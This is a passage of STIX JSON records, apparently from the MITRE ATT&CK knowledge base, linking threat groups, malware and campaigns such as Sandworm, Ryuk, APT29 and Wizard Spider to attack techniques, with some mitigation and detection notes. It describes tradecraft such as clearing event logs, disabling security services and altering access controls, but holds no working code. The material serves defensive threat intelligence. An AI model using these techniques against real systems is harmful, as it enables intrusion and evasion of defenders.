access to the Node.js function.(Citation: Electron Security 3) By disabling access to the Node.js function, this may limit the ability to execute malicious commands by injecting JavaScript code.\n\nDo not disable `webSecurity`, which may allow for users of the application to invoke malicious content from online sources.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--561ae9aa-c28a-4144-9eec-e7027a14c8c3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4e1b8403-d2ed-4d24-b7cd-2974ef9ba1d3","created":"2024-03-27T20:08:02.304Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant-Sandworm-Ukraine-2022","description":"Ken Proska, John Wolfram, Jared Wilson, Dan Black, Keith Lunden, Daniel Kapellmann Zafra, Nathan Brubaker, Tyler Mclellan, Chris Sistrunk. (2023, November 9). Sandworm Disrupts Power in Ukraine Using a Novel Attack Against Operational Technology. Retrieved March 28, 2024.","url":"https://www.mandiant.com/resources/blog/sandworm-disrupts-power-ukraine-operational-technology"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T15:19:41.079Z","description":"During the [2022 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0034), [Sandworm Team](https://attack.mitre.org/groups/G0034) deployed the Neo-REGEORG webshell on an internet-facing server.(Citation: Mandiant-Sandworm-Ukraine-2022)","relationship_type":"uses","source_ref":"campaign--df8eb785-70f8-4300-b444-277ba849083d","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e1d7798-ffb7-4495-aab7-ca13db2dade5","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Nerex May 2012","description":"Ladley, F. (2012, May 15). Backdoor.Nerex. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3445-99"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Nerex](https://attack.mitre.org/software/S0210) drops a signed Microsoft DLL to disk.(Citation: Symantec Nerex May 2012)","relationship_type":"uses","source_ref":"malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e1f3e6e-33b5-475d-b19b-d9a43227cf1c","type":"relationship","created":"2021-08-18T19:31:23.146Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Ryuk January 2019","url":"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/","description":"Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."}],"modified":"2021-08-18T19:31:23.146Z","description":"[Ryuk](https://attack.mitre.org/software/S0446) has been observed to query the registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language and the value InstallLanguage. If the machine has the value 0x419 (Russian), 0x422 (Ukrainian), or 0x423 (Belarusian), it stops execution.(Citation: CrowdStrike Ryuk January 2019)","relationship_type":"uses","source_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4e23f18f-9418-462d-9f59-a527cb15ba9d","created":"2023-07-07T17:52:59.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T20:36:35.568Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) used IAM manipulation to gain persistence and to assume or elevate privileges.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4e251295-c2c3-4bfa-85c6-6de01948cf9f","created":"2023-03-26T16:22:39.594Z","revoked":false,"external_references":[{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T16:22:39.595Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used the service control manager on a remote system to disable services associated with security monitoring products.(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e2594cc-f6e0-4153-b878-930bc03fc0ad","type":"relationship","created":"2020-10-28T13:08:39.054Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike BloodHound April 2018","url":"https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/","description":"Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020."}],"modified":"2020-11-24T20:07:19.226Z","description":"[BloodHound](https://attack.mitre.org/software/S0521) can collect information about domain users, including identification of domain admin accounts.(Citation: CrowdStrike BloodHound April 2018)","relationship_type":"uses","source_ref":"tool--066b057c-944e-4cfc-b654-e3dfba04b926","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e268134-0cd0-488e-85a3-cf9380f0cedb","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor for API calls that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e2842c6-ce4c-4204-9f29-4442a1859f12","type":"relationship","created":"2020-09-24T15:17:32.084Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.661Z","description":"[FatDuke](https://attack.mitre.org/software/S0512) has used several C2 servers per targeted organization.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e2f4bbd-ea3b-4996-bc2a-3d670d9f5cf5","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2020-03-20T21:24:11.246Z","description":"[POORAIM](https://attack.mitre.org/software/S0216) can perform screen capturing.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--53d47b09-09c2-4015-8d37-6633ecd53f79","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e30f971-39f5-4462-ba81-017247f5ffd9","type":"relationship","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.867Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flow (e.g. snmp traffic originating from unauthorized or untrusted hosts, signature detection for strings mapped to device configuration(s), and anomolies in snmp request(s))","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4e341596-3bc3-4d9e-a9a3-2aceccfebe35","created":"2023-01-17T21:56:24.626Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Costa AvosLocker May 2022","description":"Costa, F. (2022, May 1). RaaS AvosLocker Incident Response Analysis. Retrieved January 11, 2023.","url":"https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory"},{"source_name":"Cisco Talos Avos Jun 2022","description":"Venere, G. Neal, C. (2022, June 21). Avos ransomware group expands with new attack arsenal. Retrieved January 11, 2023.","url":"https://blog.talosintelligence.com/avoslocker-new-arsenal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-14T16:44:48.217Z","description":"During [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors used AnyDesk to transfer tools between systems.(Citation: Cisco Talos Avos Jun 2022)(Citation: Costa AvosLocker May 2022)","relationship_type":"uses","source_ref":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e348b41-b607-4227-8734-06ef01d40f27","type":"relationship","created":"2021-11-24T21:30:57.966Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"modified":"2021-11-24T21:30:57.966Z","description":"[LazyScripter](https://attack.mitre.org/groups/G0140) has used GitHub to host its payloads to operate spam campaigns.(Citation: MalwareBytes LazyScripter Feb 2021) ","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e37e10a-4832-4c5b-8164-f6f6eec8cacd","type":"relationship","created":"2019-07-09T17:42:44.986Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.","url":"https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/","source_name":"Unit42 Emissary Panda May 2019"}],"modified":"2021-10-12T19:21:39.352Z","description":"[HyperBro](https://attack.mitre.org/software/S0398) has used HTTPS for C2 communications.(Citation: Unit42 Emissary Panda May 2019)","relationship_type":"uses","source_ref":"malware--5e814485-012d-423d-b769-026bfed0f451","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4e39da36-f7e0-4e26-b354-ca34fb801e33","created":"2022-06-07T18:05:19.253Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Milan](https://attack.mitre.org/software/S1015) has received files from C2 and stored them in log folders beginning with the character sequence `a9850d2f`.(Citation: ClearSky Siamesekitten August 2021)","modified":"2022-06-07T18:05:19.253Z","relationship_type":"uses","source_ref":"malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4e3a250d-c168-4544-82c5-3b1414be826d","created":"2022-08-11T22:06:38.797Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T19:45:47.896Z","description":"[PyDCrypt](https://attack.mitre.org/software/S1032) has decrypted and dropped the [DCSrv](https://attack.mitre.org/software/S1033) payload to disk.(Citation: Checkpoint MosesStaff Nov 2021)","relationship_type":"uses","source_ref":"malware--2ac41e8b-4865-4ced-839d-78e7852c47f3","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4e3b39db-d29f-450b-b3ec-074c91af282a","created":"2022-08-16T15:32:07.086Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SideCopy](https://attack.mitre.org/groups/G1008) has identified the IP address of a compromised host.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-24T15:34:21.667Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--03be849d-b5a2-4766-9dda-48976bae5710","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e3b7cf3-298e-4db2-a920-375abd50280d","type":"relationship","created":"2020-11-10T16:49:13.445Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos New Ryuk Attack October 2020","url":"https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/","description":"Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They’re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020."}],"modified":"2020-11-10T16:49:13.445Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used the icacls command to modify access control to backup servers, providing them with full control of all the system folders.(Citation: Sophos New Ryuk Attack October 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4e45ac56-f9c8-4271-a3c8-1a618817945b","created":"2021-10-13T22:50:48.724Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant_UNC2165","description":"Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/"},{"source_name":"Symantec WastedLocker June 2020","description":"Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T16:32:54.255Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has used [Cobalt Strike](https://attack.mitre.org/software/S0154) to empty log files.(Citation: Symantec WastedLocker June 2020) Additionally, [Indrik Spider](https://attack.mitre.org/groups/G0119) has cleared all event logs using `wevutil`.(Citation: Mandiant_UNC2165) ","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4e49358b-43d4-4fc6-8ad0-72882de328b4","created":"2022-04-13T13:19:01.109Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ThreatNeedle](https://attack.mitre.org/software/S0665) can download additional tools to enable lateral movement.(Citation: Kaspersky ThreatNeedle Feb 2021)","modified":"2022-04-13T13:19:01.109Z","relationship_type":"uses","source_ref":"malware--16040b1c-ed28-4850-9d8f-bb8b81c42092","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4e50db0c-4e54-4266-b675-3b279ec45427","created":"2019-02-22T20:59:17.640Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FBI FLASH APT39 September 2020","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020.","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf"},{"source_name":"FireEye APT39 Jan 2019","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html"},{"source_name":"BitDefender Chafer May 2020","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.","url":"https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"},{"source_name":"Symantec Chafer February 2018","description":"Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-18T16:19:53.780Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has sent spearphishing emails in an attempt to lure users to click on a malicious attachment.(Citation: FireEye APT39 Jan 2019)(Citation: BitDefender Chafer May 2020)(Citation: Symantec Chafer February 2018)(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4e5de254-8dd4-46cd-a8af-8cdfd335e5f1","created":"2022-06-02T13:57:30.681Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cisco Talos Bitter Bangladesh May 2022","url":"https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html","description":"Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ZxxZ](https://attack.mitre.org/software/S1013) can search the registry of a compromised host.(Citation: Cisco Talos Bitter Bangladesh May 2022)","modified":"2022-06-02T13:57:30.681Z","relationship_type":"uses","source_ref":"malware--97cfbdc6-504d-41e9-a46c-78a9f806ff0d","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e5dff55-c686-4fa6-bad1-caa8507083d9","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell Sakula","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.","url":"http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"}],"modified":"2020-03-17T02:29:53.453Z","description":"[Sakula](https://attack.mitre.org/software/S0074) encodes C2 traffic with single-byte XOR keys.(Citation: Dell Sakula)","relationship_type":"uses","source_ref":"malware--96b08451-b27a-4ff6-893f-790e26393a8e","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e602d58-5a4f-417c-8b61-568e830411d1","type":"relationship","created":"2020-11-30T17:05:19.822Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-30T17:05:19.822Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034)'s research of potential victim organizations included the identification and collection of employee information.(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e66aad2-7c30-4c05-9f8e-767ac1cff08e","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-08-11T19:44:31.594Z","description":"[JPIN](https://attack.mitre.org/software/S0201) can lower security settings by changing Registry keys.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--de6cb631-52f6-4169-a73b-7965390b0c30","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e6c5e8c-96a2-4da8-869a-56fe224e037e","type":"relationship","created":"2019-04-24T20:48:39.703Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Bingham, J. (2013, February 11). Cross-Platform Frutas RAT Builder and Back Door. Retrieved April 23, 2019.","url":"https://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door","source_name":"Symantec Frutas Feb 2013"}],"modified":"2019-06-24T17:20:24.367Z","description":"[jRAT](https://attack.mitre.org/software/S0283) collects information about the OS (version, build type, install date) as well as system up-time upon receiving a connection from a backdoor.(Citation: Symantec Frutas Feb 